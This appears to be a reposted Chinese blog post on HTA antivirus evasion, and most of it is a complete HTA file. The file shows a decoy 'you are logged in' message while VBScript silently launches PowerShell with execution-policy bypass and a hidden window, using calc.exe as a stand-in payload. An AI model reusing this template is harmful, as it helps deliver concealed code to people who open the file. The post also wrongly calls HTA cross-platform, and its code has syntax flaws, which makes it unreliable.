HTA免杀

最新推荐文章于 2024-12-27 13:50:22 发布

转载最新推荐文章于 2024-12-27 13:50:22 发布 · 7.5w 阅读

文章标签：

#HTA #免杀

黑客帝国专栏收录该内容

87 篇文章

订阅专栏

本文介绍了一个使用HTA技术创建的应用实例，该应用在后台静默运行PowerShell脚本。通过检测特定路径下是否存在powershell.exe文件来决定是否执行进一步的操作。此HTA应用展示了如何利用HTML和VBScript实现跨平台的桌面应用程序。

<!--xhacker.hta-->
<html>
<head>
<title>CodeWorld</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<HTA:ApplicationID="oHTA" Applicationname="hta_app" border="thin" borderstyle="normal" icon="hello.ico" maximizebutton="yes" minimizebutton="yes" showintaskbar="no" singleinstance="no" sysmenu="yes" version="777" windowstate="normal" scroll="yes">
</head>
<body>
<center>
<br>
<h1>Code World Channel</h1>
<br>
<h2>您已经登录！请关闭窗口后操作！</h2>
<br>
</center>
<script language="VBScript">
Set Hackin = CreateObject("Wscript.Shell")
Set Check = CreateObject("Scripting.FileSystemObject")
If Check.FileExists(Split(Hackin.ExpandEnvironmentStrings("%PSModulePath%"),";")(1) + "\..\powershell.exe") Then
Hackin.Run "powershell.exe -exec bypass -nop -w hidden calc.exe"
// Hackin.Run "taskkill /f /im mshta.exe"
else 
msgbox "Wrong operation, powershell.exe doesn't exist!"
End If
</script>
</body>
</html>